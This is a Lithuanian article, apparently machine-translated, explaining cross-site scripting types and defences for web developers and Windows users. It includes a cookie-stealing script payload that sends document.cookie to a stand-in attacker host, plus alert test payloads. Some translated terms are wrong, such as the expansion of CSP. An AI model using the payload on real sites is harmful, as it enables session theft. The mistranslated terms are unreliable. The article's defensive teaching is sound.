XSS pažeidžiamumai internete kamuoja jau daugelį metų, tačiau jie ir toliau atsiranda naujose programose, tarsi nieko nebūtų nutikę. Aplinkoje, kurioje praktiškai viskas vyksta per naršyklę ir kurioje „Windows“ naudojame darbui, apsipirkimui, bankininkystei ir verslo valdymui, svarbu suprasti... Kas tiksliai yra nuolatinis kryžminių svetainių scenarijų vykdymas, kaip jis veikia ir kaip galite apsaugoti ir „Windows“, ir naršykles? Tai nustoja būti kažkas „skirto saugumo fanatikams“ ir tampa pagrindine būtinybe.
Kai sėkmingai išnaudojamos kelių svetainių pažeidžiamumo (XSS) spragos, užpuolikas gali ne tik rodyti iššokančius langus su pranešimais: jis gali vogti sesijas, apsimesti kitais, išgauti duomenis arba naudoti jūsų naršyklę kaip trampliną prie kitų vidinių sistemų. Be to, jei pažeidžiamumas yra nuolatinis, kenkėjiškas kodas lieka įterptas į programą ir vykdomas pakartotinai su kiekvienu apsilankymu. Štai kodėl labai svarbu derinti [būtinas saugumo priemones]. gerosios praktikos saugaus kūrimo, teisingo slapukų ir naršyklės konfigūravimo, „Windows“ apsaugos ir pažeidžiamumų aptikimo įrankių srityje jei nori ramiai miegoti.
Kas yra XSS ir kodėl tai vis dar tokia rimta problema?
Skirtingų svetainių scenarijų vykdymas (XSS) yra žiniatinklio saugumo pažeidžiamumas, atsirandantis, kai programa leidžia vykdyti scenarijus. nepatikimas „JavaScript“ kodas aukos naršyklėjeŠis kodas paprastai gaunamas iš vartotojo įvesčių (formų, URL parametrų, komentarų, vidinių paieškų ir kt.), kurios nebuvo tinkamai patvirtintos arba „išvalytos“ ir vėliau rodomos puslapyje.
Naršyklė negali atskirti, kuris scenarijus yra teisėta svetainės dalis, o kurį scenarijų įterpė užpuolikas: Viskas, kas kyla iš to domeno, vykdoma su tomis pačiomis privilegijomis.Būtent tai paverčia teisėtą svetainę puikiais spąstais duomenų vagystei ar vartotojų veiksmų manipuliavimui jiems to nesuvokiant.
Užpuolikai išnaudoja XSS, kad atliktų įvairius kenkėjiškus veiksmus: seanso slapukų vagystė, paskyros užgrobimas, klavišų paspaudimų registravimas, peradresavimai į kenkėjiškas svetaines, sudėtingas sukčiavimas sukčiavimu arba tylus rodomo turinio keitimasVisa tai galima padaryti tiesiogiai nepakenkiant operacinei sistemai; pakanka tiesiog užpulti naršyklę.
Nerimą kelia tai, kad, nepaisant to, jog tai buvo žinomas trūkumas nuo pat svetainės įkūrimo, XSS ir toliau užima svarbias vietas OWASP dešimtuke ir pažeidžiamumų ataskaitose.Tokie tyrimai kaip „Acunetix“ rodo, kad apie 40 % žiniatinklio programose aptinkamų pažeidžiamumų yra susiję su XSS (X ekrano situacijomis). Šios klaidos išlikimo priežastys įvairios: padidėjęs žiniatinklio programų sudėtingumas, senasis kodas, patikimo patvirtinimo stoka, klaidos įgyvendinant tokias priemones kaip CSP (nuolatinio palaikymo protokolas), ribotos žinios apie saugų kūrimą ir nuolatinė atakų technikų raida.
XSS atakų tipai: saugomos, atspindėtos ir DOM pagrindu
Ne visi XSS pažeidžiamumai elgiasi vienodai. Svarbu atskirti tris pagrindinius tipus, nes Kiekvienu atveju poveikis ir apsisaugojimo būdas keičiasi., nors jų pagrindinė priežastis ta pati: aukos naršyklėje vykdomas „JavaScript“.
Saugomas arba nuolatinis XSS: pavojingiausias
Išsaugotas XSS įvyksta, kai serveryje visam laikui saugomas kenkėjiškas kodas: paprastai duomenų bazėje, bet taip pat failuose, registravimo sistemose ar kitose saugojimo vietoseKiekvieną kartą, kai vartotojas įkelia puslapį, kuriame rodoma ta informacija, scenarijus pateikiamas ir vykdomas naršyklėje.
Įsivaizduokite forumą ar tinklaraščio komentarų sistemą. Jei programa išsaugo komentarą tokį, koks jis yra, o tada jį parodo jo neeksponuodama ir neapdorodama, užpuolikas gali įterpti kažką panašaus į <script>...código-malicioso...</script> komentaro teksteTas fragmentas saugomas duomenų bazėje, ir kiekvienas apsilankymas tame siūle automatiškai paleis scenarijų visose naršyklėse, kuriose jis rodomas.
Šis XSS tipas yra ypač svarbus, nes pritaiko vieno turinio srauto poveikį visiems vartotojams, kurie apsilanko paveiktame turinyjePasitaikė atvejų, kai vienas užkrėstas tviterio įrašas ar komentaras automatiškai persitvituodavo arba pasidalydavo (kaip nutiko su „TweetDeck“), eksponentiškai padidindamas atakos aprėptį. Įmonių aplinkoje, jei paveiktas vartotojas yra administratorius, užpuolikas gali gauti prieigą prie vidinių valdymo ataskaitų suvestinių arba net išplisti į kitas sistemas.
Atspindėtas arba nepastovus XSS
Atspindėtas XSS įvyksta, kai programa gauna duomenis iš HTTP užklausos (pavyzdžiui, URL parametras, formos laukas arba antraštė), jis įterpia jį tiesiai į atsakymą ir scenarijus paleidžiamas aukos naršyklėje tos pačios sąveikos metu, nebūdamas saugomas serveryje.
Tipiškas pavyzdys: paieškos puslapis, kuriame rodomas ieškomas tekstas su pranešimu, pvz., „Rezultatai pagal X“. Jei programa netinkamai pakeičia tos reikšmės kodą ir kas nors atsiunčia nuorodą, pvz.:
https://sitio.com/buscar?q=<script>alert('XSS')</script>
Įvedus tą URL, naršyklė vykdys šią užduotį į parametrą įterptas kenkėjiškas scenarijusŠio tipo atakas dažnai lydi sukčiavimo apsimetant arba socialinės inžinerijos kampanijos: užpuolikas turi įtikinti auką spustelėti manipuliuojamą nuorodą.
Kalbant apie tiesioginį poveikį, atspindėtas XSS paprastai paveikia konkretų vartotoją kiekvieno vykdymo metu, bet jei nuorodų platinimo kampanija yra masinė (el. paštas, socialinė žiniasklaida, tiesioginiai pranešimai), žala gali būti panaši į saugomo daikto padarytą žalą.
DOM pagrindu sukurtas XSS
DOM pagrindu sukurtas XSS pažeidžiamumas atsiranda, kai pažeidžiamumas yra visiškai kliento pusės „JavaScript“ kode. Tokiu atveju serveris gali teikti „švarų“ HTML, bet Pačioje naršyklėje veikiantis „JavaScript“ nuskaito duomenis iš nepatikimų šaltinių (pvz., location.search, location.hash o document.referrerir įterpia juos į DOM be patvirtinimo.
Pavyzdžiui, scenarijus, kuris gauna parametrą iš URL ir įterpia jį su innerHTML suasmeninti pasveikinimo pranešimą. Jei kas nors perduoda URL adresą, kuriame yra kenkėjiško HTML arba „JavaScript“, naršyklė interpretuos tą turinį kaip kodą ir jį vykdys. Visa tai naudingosios apkrovos nepasiekus serveriotodėl jo aptikimas žurnaluose ar tradiciniuose filtruose yra sudėtingesnis.
Praktiškai DOM XSS ir atspindėtas XSS reikalauja manipuliuojamos nuorodos ar įvesties ir socialinės inžinerijos komponento, tačiau Tai tiesiogiai išnaudoja priekinės dalies logiką ir nesaugią DOM prieigą.Be to, daugelis serverių filtrų ir WAF jį praleidžia, nes mato tik iš pažiūros „normalų“ srautą.
Ką užpuolikas gali pasiekti naudodamas XSS?
Kryžminio svetainių išnaudojimo (XSS) pavojingumas dažnai yra nepakankamai įvertinamas, tačiau kenkėjiškų ketinimų turinčio asmens rankose jis gali būti pražūtingas. Pasekmės gali būti pražūtingos tiek vartotojams, tiek įmonėms, nuo techninių iki reputacijos ir ekonominių aspektų.
Slapukų, sesijų ir prisijungimo duomenų vagystė
Vienas iš klasikinių XSS panaudojimo būdų yra seanso slapukų ir kitų autentifikavimo žetonų vagystė. Jei slapukas neturi vėliavėlės HttpOnlyscenarijus gali jį perskaityti su document.cookie ir nusiųskite jį į užpuoliko kontroliuojamą serverį:
<script>document.location='http://atacante.com/cookie?'+document.cookie</script>
Kai tik auka įkelia užkrėstą puslapį, jos naršyklė pateikia užklausą kenkėjiškam URL adresui. įskaitant pavogtą sesijos slapuką kaip parametrąNaudodamas tą slapuką, užpuolikas gali apsimesti vartotoju programoje, peržiūrėti asmeninę informaciją, atlikti operacijas jo vardu ir net, jei vartotojas yra administratorius, pasiekti svarbius skydelius.
Be to, įterptas scenarijus gali įrašyti viską, ką vartotojas įveda formose (klaviatūros įvestį, prisijungimo laukus, kortelės duomenis ir kt.), ir nusiųsti tai užpuolikui. kredencialų ir neskelbtinų duomenų rinkimas Jis dažnai integruojamas į platesnes sukčiavimo schemas.
Peradresavimai, sukčiavimas sukčiavimu ir turinio manipuliavimas
Kitas įprastas scenarijus yra tylus peradresavimas į kenkėjiškas arba sukčiavimo svetaines. Scenarijus gali naudoti window.location nukreipti vartotoją į svetainę, kuri imituoja originalą, kur jo prašoma prisijungti dar kartą arba įvesti konfidencialius duomenis. Vartotojas ja pasitiki, nes Jis kilęs iš teisėto kilmės domeno, kuriame ką tik apsilankėte.
Taip pat galima modifikuoti DOM, kad būtų rodomos netikros prisijungimo formos, reklaminės juostos, persidengiantys iššokantys langai ar net pakeisti aukos matomą turinį, siekiant ją apgauti (pavyzdžiui, banko sąskaitos numerio keitimas intranete, sistemos pranešimų klastojimas arba matomų veiksmų manipuliavimas).
Kenkėjiškų programų platinimas ir atakų eskalavimas
XSS gali priversti naršyklę atsisiųsti arba vykdyti kenkėjiškus išteklius, pvz. išoriniai scenarijai, talpinami užpuoliko kontroliuojamuose domenuoseKartu su kitais naršyklės, papildinių ar net pačios sistemos pažeidžiamumais, galima vykdyti natyvų kodą ir pažeisti aukos „Windows“ kompiuterį.
Įmonių aplinkoje XSS ataka prieš vidinę programą gali būti naudojama kaip įėjimo taškas šoniniam judėjimui: Iš pažeistos naršyklės autentifikuotos užklausos siunčiamos kitoms paslaugoms, renkami papildomi žetonai arba išnaudojamos neteisingos vidinių tinklų konfigūracijos.Kitaip tariant, paprastas „bandomasis įspėjimas“ gali tapti vartais į rimtą incidentą.
Be to, verslo požiūriu, XSS paveikta svetainė gali nukentėti vartotojų pasitikėjimo praradimas, konversijų ir pardavimų sumažėjimas ir net SEO baudos jei „Google“ aptinka anomalų elgesį arba svetainė patenka į naršyklių ir antivirusinių programų juoduosius sąrašus.
Poveikis „Windows“ ir naršyklėms: kur žaidžiamas tikrasis žaidimas
Nors XSS yra žiniatinklio programos pažeidžiamumas, žala padaroma naršyklėje, veikiančioje jūsų „Windows“ sistemoje. Tai reiškia, kad naršyklės + „Windows“ nustatymų + saugos sprendimų derinys Tai skiria išgąstį nuo nelaimės.
Šiuolaikinės naršyklės („Chrome“, „Edge“, „Firefox“ ir kt.) integruoja procesų izoliavimo mechanizmai (smėlio dėžės), XSS filtrai, iššokančių langų blokatoriai, pavojingų svetainių sąrašai ir atsisiuntimų apsaugaSavo ruožtu „Windows“ siūlo tokias funkcijas kaip „SmartScreen“, programų valdymas, integruota antivirusinė programa ir apribojimų politika įmonių aplinkoje.
Tačiau, jei vartotojas naršo su administratoriaus profiliai, abejotini plėtiniai arba pasenusios naršyklėsArba, jei saugumo priemonės išjungiamos, kad „viskas veiktų“, užpuoliko manevravimo erdvė smarkiai padidėja. Gerai išnaudota XSS pažeidžiamumas gali būti panaudotas kenkėjiškoms programoms atsisiųsti, naršyklės ar papildinių pažeidžiamumams išnaudoti arba įrenginį naudoti kaip atspirties tašką atakuojant kitus išteklius.
Todėl, net jei techninė gedimo priežastis slypi žiniatinklio programoje, tai labai svarbu sustiprinti „Windows“ ir naršykles: sumažinkite atakų paviršių sumažindami leidimus, taikydami atnaujinimus, kontroliuodami plėtinius, naudodami vykdymo baltuosius sąrašus ir derindami tai su gera naršymo praktika.
Kaip aptikti XSS pažeidžiamumus jūsų programose
Jei tvarkote svetainę ar verslo programą, sukryžiuoti pirštus nepakanka. Jums reikia iniciatyvaus požiūrio. surasti ir įvertinti pažeidžiamus įėjimo taškus prieš užpuolikams tai padarantČia ir praverčia skirtingos technikos bei įrankiai.
Automatinis nuskaitymas ir suliejimas
Įrankiai kaip OWASP ZAP, Burp Suite, Acunetix, Netsparker ir kiti pažeidžiamumų skaitytuvai Jie leidžia jums paleisti kontroliuojamas atakas prieš jūsų programą, testuojant formas, URL parametrus, antraštes ir maršrutus, siekiant aptikti įtartiną XSS elgesį.
Šie skaitytuvai paprastai derina konkrečių naudingųjų apkrovų testavimą su metodais, tokiais kaip neryškusŠie testai iš esmės apima atsitiktinių, netikėtų arba netinkamai suformuotų duomenų siuntimą į įvesties laukus, siekiant pamatyti, kaip programa reaguoja. Rezultatas, kuris grąžina įvestį be kaitos simbolių arba kuris vykdo bandymo scenarijų, atskleidžia trūkumą.
Rankinis testavimas naudojant testo scenarijus
Be automatinio nuskaitymo, rekomenduojama atlikti ir rankinius testus: įterpti paprastus scenarijus, pvz. <script>alert('XSS')</script> formose, URL parametruose, paieškos laukuose, komentaruose ar bet kokioje įvestyje, kuri atsispindi puslapyjeAkivaizdu, kad tai turėtų būti daroma kūrimo arba ikigamybinėje aplinkoje, o niekada gamybinėse sistemose.
Naršyklės plėtiniai, pvz. XSS Me, žiniatinklio kūrėjas arba NoScript Jie padeda audituoti klientų elgseną, išryškinti „JavaScript“ klaidas, matyti, kas iš tikrųjų vykdoma DOM, ir testuoti skirtingus vektorius. Taip pat patartina atidžiai peržiūrėti kodą, ypač ten, kur jie naudojami. innerHTML, document.write, eval arba HTML sujungimas su vartotojo duomenimis.
Kodo peržiūra ir SAST naudojimas
Statinio programų saugumo testavimo (SAST) įrankių integravimas į kūrimo ciklą yra vienas efektyviausių būdų sustabdyti tarpsvetainių scenarijų kūrimą (XSS) dar pačioje pradžioje. Šios statinės analizės tikrina šaltinio kodą, ieškodamos Nesaugūs šablonai: į rodinius patenkantys nepatvirtinti duomenys, neteisingi išėjimo kodai, tiesioginės DOM manipuliacijos su nepatikimomis įvestimisIr tt
Derindami SAST su į saugumą orientuotomis rankinėmis kodo peržiūromis, galite nustatyti sritis, kuriose trūksta išėjimo pabėgimo kelio, kur buvo išjungtas sistemos filtras arba kur buvo naudojami pavojingi apėjimo būdai, pvz. Html.Raw programoje „Razor“, v-html „Vue“, [innerHTML] „Angular“ arba „dangerouslySetInnerHTML“ „React“.
Kaip apsaugoti savo programas nuo XSS
XSS mažinimo raktas slypi ne viename triuke, o tame, kad Taikyti kelis apsaugos lygmenis: įvesties patvirtinimą, tinkamą išvesties kodavimą, griežtus slapukų nustatymus, CSP, saugias ir atnaujintas sistemas. Eikime dalimis.
Patvirtinkite ir išvalykite visas naudotojo įvestis
Auksinė taisyklė: Niekada nepasitikėkite jokiais duomenimis, gautais iš vartotojo ar išorinių šaltinių.Tai apima formas, URL parametrus, HTTP antraštes, iš kitų programų importuotus duomenis, paslėptus laukus ir kt. Patvirtinimas visada turėtų būti atliekamas serveryje, nors dėl patogumo naudoti jis gali būti taikomas ir kliento pusėje.
Priklausomai nuo konteksto, galite:
- Apriboti simbolių rinkinį naudojant reguliarias išraiškas (pavyzdžiui, tik raides, skaičius ir tarpus).
- Apribokite maksimalų laukų ilgį, kad išvengtumėte didelių naudingųjų apkrovų.
- Atmeskite HTML žymas tiesiogiai, jei jų nereikia.
- Jei privalote leisti tam tikrą HTML (pavyzdžiui, raiškiuosiuose komentaruose), naudokite bibliotekas dezinfekavimas pvz., „DOMPurify“ (JS), „HtmlSanitizer“ (.NET), „AntiXSS“ ir kt., kurie pašalina pavojingus scenarijus ir atributus.
Pavyzdžiui, .NET sistemoje numatytosios apsaugos priemonės blokuoja pavojingą įvestį, tačiau jei naudojate tokius atributus kaip [ValidateInput(false)] Jei leidžiate neapdorotą HTML, atveriate duris XSS.Svarbu labai atidžiai žinoti, kada šios apsaugos yra išjungiamos, ir kompensuoti tai specialiais filtrais.
Tinkamai užkoduoti išvestį (išvesties kodavimas)
Antra problemos dalis yra tai, kaip duomenys rodomi. Net jei juos patvirtinsite, jei po to įterpsite reikšmę tiesiai į HTML be jos kaitos, vis tiek galite būti pažeidžiami. Teisingas požiūris yra toks: koduoti specialiuosius simbolius pagal kontekstą, kuriame jie bus naudojami:
- HTML kalboje naudokite „Escape“
<,>,&, viengubos ir dvigubos kabutės (pavyzdžiui, PHP kalbant suhtmlspecialchars()ohtmlentities()). - HTML atributuose taip pat naudokite kabutes ir valdymo simbolius.
- Įterptajame „JavaScript“ kode naudokite specialius koduotuvus (pavyzdžiui, „JavaScriptEncoder“ .NET).
- URL adresuose naudokite parametrų kodavimo funkcijas (UrlEncoder,
encodeURIComponent, Ir tt).
Daugelyje šiuolaikinių sistemų tai daroma beveik „pabaigta“: „Razor“ .NET sistemoje automatiškai koduoja kintamuosius, nebent naudojate Html.Raw.„React“ pagal numatytuosius nustatymus išskleidžia turinį, o „Angular“ ir „Vue“ saugiai tvarko interpoliacijas, jei nenaudojamos API, kurios įterpia neapdorotą HTML. Būtina pasinaudoti šiomis apsaugos priemonėmis.
Taikyti turinio saugumo politiką (CSP)
Tinkamai sukonfigūruota turinio saugumo politika yra labai galingas papildomas sluoksnis prieš XSS. Naudodami CSP, galite apibrėžti, naudodami HTTP antraštes, kur leidžiama įkelti scenarijus, stilius, „iframe“ elementus, vaizdus ir kt. ir ar leidžiami įterptieji scenarijai.
Paprastas pavyzdys būtų:
Content-Security-Policy: default-src 'self'; script-src 'self' https://scripts-confiables.com
Tai rodo, kad gali būti vykdomi tik iš jūsų domeno arba patikimų domenų teikiami scenarijai. Net jei yra XSS pažeidžiamumas, Įterptas scenarijus, bandantis įkelti kodą iš trečiosios šalies, būtų blokuojamas.CSP nepakeičia patvirtinimo ir kodavimo išvalymo, tačiau labai sumažina klaidų, kurios galėjo likti nepastebėtos, poveikį.
Teisingai sukonfigūruokite slapukus
Seanso slapukai yra mėgstamiausias XSS atakų taikinys. Norint sumažinti žalą, labai svarbu juos sukonfigūruoti su atitinkamomis žymėmis:
- HttpOnly: neleidžia „JavaScript“ pasiekti slapuko per
document.cookieTai tiesiausias būdas užkirsti kelią sesijos vagystei naudojant klasikinį XSS. - Užtikrinkite: priverčia slapuką siųsti tik per HTTPS ryšius, taip užkertant kelią nutekėjimui nešifruotuose kanaluose.
- „SameSite“: riboja slapuko siuntimą tarpsvetainių užklausose, sumažindamas CSRF ir kai kurių kombinuotų XSS scenarijų riziką.
Pavyzdžiui, PHP galite tai nustatyti su session_set_cookie_paramsir kitose aplinkose su atitinkamomis API. Nors tai netrukdo scenarijui veikti, jis žymiai sumažina galimą poveikį autentifikavimui.
Naudokite DOM saugius karkasus ir bibliotekas
Kliento pusėje geriausia praktika yra kiek įmanoma vengti rankinio DOM manipuliavimo. Tokios sistemos kaip „React“, „Angular“ arba „Vue“ Jie atnaujina DOM automatiškai išskirdami duomenis ir skatina šablonus, kurie sumažina poreikį juos naudoti. innerHTML, document.write o evalkurie yra akivaizdžiai pavojingi.
Jei reikia manipuliuoti dinaminiu HTML, pasikliaukite bibliotekų valymu, pvz. DOMPurifykurie analizuoja turinį ir pašalina potencialiai kenkėjiškas žymas, atributus ir schemas. Ir svarbiausia, Atidžiai išnagrinėkite bet kokį API, leidžiančių įterpti neapdorotą HTML, naudojimą.nes jie dažnai yra silpnoji grandis, atverianti duris į DOM pagrindu sukurtą XSS.
Nuolat atnaujinkite viską: TVS, papildinius ir bibliotekas
Daugelį tikrų įsilaužimų sukelia ne jūsų rašomas kodas, o trečiosios šalys: „WordPress“ įskiepiai, „Joomla“ moduliai, JS bibliotekos, šablonai, pasenę priekinės arba galinės dalies komponentai turinčios žinomų pažeidžiamumų, įskaitant XSS.
Rutina turėtų būti aiški: Reguliariai peržiūrėkite ir diegkite saugos pataisas, pašalinkite nenaudojamus papildinius ir temas, venkite nulaužtų ar neoficialių versijų ir stebėkite savo TVS ar platformos saugos įspėjimus.WAF (žiniatinklio programų užkarda), kokią siūlo kai kurie prieglobos paslaugų teikėjai (pavyzdžiui, „Imunify360“, „Cloudflare WAF“ ir kt.), prideda papildomą sluoksnį, filtruodamas žinomus injekcijos bandymus HTTP lygmeniu.
Kaip apsaugoti „Windows“ ir naršykles nuo XSS atakų
Net jei problemos šaknis slypi serveryje, galite gerokai sumažinti XSS atakos eskalavimo riziką, sustiprindami savo vartotojo aplinką. Tai apima abu šiuos aspektus: geri naudojimo įpročiai, pavyzdžiui, saugos nustatymai sistemoje „Windows“ ir naršyklėse.
Gera navigacijos praktika
Pirmas punktas yra sveikas protas, tačiau jis kasdien ignoruojamas: Nespustelėkite įtartinų nuorodų ir neatidarykite keistų URL adresų, kurie atkeliauja el. paštu, socialiniuose tinkluose ar žinutėmis.ypač jei jie atkeliauja iš nežinomų siuntėjų arba juose yra nerimą keliančių ar per gerų, kad būtų tiesa, žinučių.
Konkrečiu atspindėto XSS atveju ataka paprastai apima nuorodą su ilgais ir neįprastais parametrais. Net jei URL sutrumpintuvai naudojami jai užmaskuoti, būkite atsargūs komentarai forumuose, asmeninėse žinutėse ar el. laiškuose, kuriuose yra nuorodų be aiškaus konteksto sumažina naudingosios apkrovos paleidimo tikimybę.
Saugiai konfigūruokite naršykles
„Chrome“, „Edge“, „Firefox“ ir jų dariniai turi keletą variantų, kuriuos verta peržiūrėti:
- Visada atnaujinkite savo naršyklę, leidžiantys automatinius atnaujinimus.
- Peržiūrėkite įdiegtus plėtinius ir pašalinkite visas programas, kurių nenaudojate arba kuriomis nepasitikite.
- Aktyvuoti funkcijas apsaugotas naršymas („Google“ saugus naršymas, „Microsoft Defender SmartScreen“), kurios blokuoja puslapius, apie kuriuos pranešta kaip kenkėjiški.
- Apriboti arba išjungti vykdymą nereikalingas aktyvus turinys (pavyzdžiui, senesnius papildinius) ir protingai tvarkykite svetainės leidimus (kamera, mikrofonas, pranešimai).
Įmonių aplinkoje įprasta centralizuoti šias konfigūracijas per grupės politikos (GPO) arba naršyklės politikosneleidžiant vartotojui sumažinti saugumo lygio patogumo dėlei.
„Windows“ patobulinimas: antivirusinė programa, užkarda ir programų valdymas
„Windows 10“ ir „11“ jau turi gerą pagrindinį saugumo paketą: „Microsoft Defender“ antivirusinė programa, integruota užkarda, reputacija pagrįsta apsauga, programų kontrolė, „SmartScreen“ ir kt.Nepaisant to, daugelis įmonių ir vartotojų renkasi papildomus sprendimus (pavyzdžiui, „Avast“), kurie siūlo papildomus apsaugos sluoksnius nuo kenkėjiškų scenarijų, įtartino srauto ar pažeistų atsisiuntimų.
Norint sumažinti „Cross-Site Script“ (XSS) atakos, kuria bandoma įdiegti kenkėjišką programą arba vykdyti kodą už naršyklės ribų, riziką, svarbu:
- Naršymas naudojant standartines naudotojų paskyrasne su paskyromis su administratoriaus teisėmis.
- Suaktyvinkite Vartotojo paskyros valdymas (UAC) ir neišjungti jo, „kad niekam netrukdytų“.
- Politikos konfigūravimas veikia programos („AppLocker“ arba „Windows Defender“ programų valdymas) įmonių aplinkose, siekiant apriboti, kuriuos dvejetainius failus galima paleisti.
- Sustiprinkite užkardą ir, jei įmanoma, stebėkite išeinantį srautą, ieškodami ryšių su įtartinais domenais, kurie gali rodyti duomenų nutekėjimą (pvz., pavogtų slapukų siuntimą).
Pažeidžiamumų valdymas ir įsiskverbimo testavimas: kaip aplenkti užpuoliką
Patirtis rodo, kad vienintelis realus būdas užkirsti kelią XSS yra laikyti jį a nuolatinis pažeidžiamumų valdymasne kaip vienkartinis dalykas. Tai reiškia, kad reikia derinti:
- Išvalyti žiniatinklio programų ir paslaugų sąrašą kuriuos tvarkote (vidinius ir išorinius).
- Periodiniai nuskaitymai naudojant automatinius pažeidžiamumų analizės įrankius.
- Reguliarus skverbties testavimasvidiniai arba išoriniai, imituojantys realias atakas, įskaitant saugomus, atspindėtus ir DOM pagrindu veikiančius XSS.
- Saugaus kūrimo mokymai, kad komandos visiškai suprastų, kaip kyla problema ir kaip jos išvengti nuo pat projektavimo etapo.
Įmonės, kurios specializuojasi etinio įsilaužimo ir įsiskverbimo testavimo srityse, gali padėti jums atpažinti ne tik XSS, bet ir Kiti šalutiniai trūkumai (SQL injekcijos, autentifikavimo klaidos, jautrių duomenų atskleidimas, konfigūracijos klaidos) kurie kartu leidžia sujungti sudėtingas atakas, tokias kaip „Jira“ atvejis „Apache Foundation“, kur atspindėtas XSS atvėrė duris labai svarbiai prieigai.
Galiausiai, supratimas, kas yra nuolatiniai XSS pažeidžiamumai, kaip veikia skirtingų tipų atakos ir kokias priemones taikyti tiek kuriant žiniatinklio svetaines, tiek „Windows“ ir naršyklėse, suteikia jums daug stipresnę poziciją. Griežtas patvirtinimas, tinkamas kodų išvalymas, CSP, patikima slapukų konfigūracija, modernios sistemos, nuolatiniai atnaujinimai, gera naršymo praktika, sistemos stiprinimas ir reguliarūs auditaiJūs smarkiai sumažinate atakos paviršių ir užkertate kelią paprastam kelių eilučių scenarijui tapti rimto saugumo incidento šaltiniu.